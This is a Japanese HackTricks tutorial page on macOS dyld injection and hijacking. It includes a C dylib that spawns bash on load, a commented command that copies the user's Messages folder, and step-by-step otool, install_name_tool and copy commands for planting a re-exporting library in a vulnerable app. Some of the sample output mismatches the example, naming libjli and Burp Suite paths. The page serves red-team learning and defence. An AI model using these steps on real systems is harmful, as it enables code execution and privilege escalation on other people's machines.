AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) ! DYLD_INSERT_LIBRARIESの基本例
シェルを実行するために注入するライブラリ:
Copy // gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((constructor))
void myconstructor ( int argc , const char ** argv)
{
syslog(LOG_ERR , "[+] dylib injected in %s \n" , argv[ 0 ]) ;
printf( "[+] dylib injected in %s \n" , argv[ 0 ]) ;
execv( "/bin/bash" , 0 ) ;
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
攻撃対象のバイナリ:
Copy // gcc hello.c -o hello
#include <stdio.h>
int main ()
{
printf( "Hello, World!\n" ) ;
return 0 ;
}
macOS Dyld Hijacking and DYLD_INSERT_LIBRARIES
macOSでは、DYLD_INSERT_LIBRARIES
環境変数を使用して、悪意のあるライブラリをプロセスに挿入することができます。これにより、攻撃者はプロセスの実行時にコードを実行し、権限昇格を行うことが可能となります。
Copy DYLD_INSERT_LIBRARIES = inject.dylib ./hello
Dyldハイジャッキングの例
対象の脆弱なバイナリは /Applications/VulnDyld.app/Contents/Resources/lib/binary
です。
entitlements LC_RPATH @rpath
Copy codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
Copy # Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12 )
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12 )
Copy # Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24 )
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0 .0
compatibility version 1.0 .0
# Check the versions
前述の情報から、ロードされたライブラリの署名をチェックしていない ことと、次の場所からライブラリをロードしようとしている ことがわかります:
/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib
/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib
しかし、最初のものは存在しません:
Copy pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
そうです、それをハイジャックすることが可能です!任意のコードを実行し、同じ機能をエクスポートする 合法的なライブラリを再エクスポートすることで、ライブラリを作成してください。そして、期待されるバージョンでコンパイルすることを忘れないでください:
Copy #import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
コンパイルします:
Copy gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
ライブラリ内で作成された再エクスポートパスは、ローダーに対して相対的です。これをエクスポートするライブラリへの絶対パスに変更しましょう:
Copy #Check relative
otool -l /tmp/lib.dylib | grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24 )
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib | grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24 )
最後に、それをハイジャックされた場所 にコピーします:
Copy cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
そして、バイナリを実行 して、ライブラリがロードされた ことを確認します:
Copy "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]
より大規模なスケール
予期しないバイナリにライブラリを注入しようとする場合、イベントメッセージをチェックして、プロセス内でライブラリがロードされたタイミングを確認できます(この場合、printfと/bin/bash
の実行を削除します)。
Copy sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) ! Last updated 3 months ago